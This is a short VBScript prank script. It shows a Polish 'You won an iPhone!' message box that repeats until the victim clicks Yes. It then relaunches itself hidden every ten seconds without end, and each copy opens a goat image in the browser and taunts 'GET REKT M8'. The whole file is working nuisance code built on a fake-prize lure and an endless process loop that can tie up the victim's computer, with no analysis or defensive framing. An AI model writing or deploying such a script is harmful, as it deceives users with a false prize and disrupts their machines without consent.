dim objShell
Set objShell = wscript.createobject("wscript.shell")

if wscript.arguments.count = 0 then

dim Var

do while Var <> 6
Var=Msgbox("Pobierz swojego iphona",vbYesNo,"Wygrałeś iphona!")
Loop

if var = 6 then
do while true
objShell.run "script.vbs &1",0
wscript.sleep 10000
loop
end if

else

objShell.run "https://pristinefarmexperience.files.wordpress.com/2013/03/goats.gif"
msgbox("GET REKT M8")

end if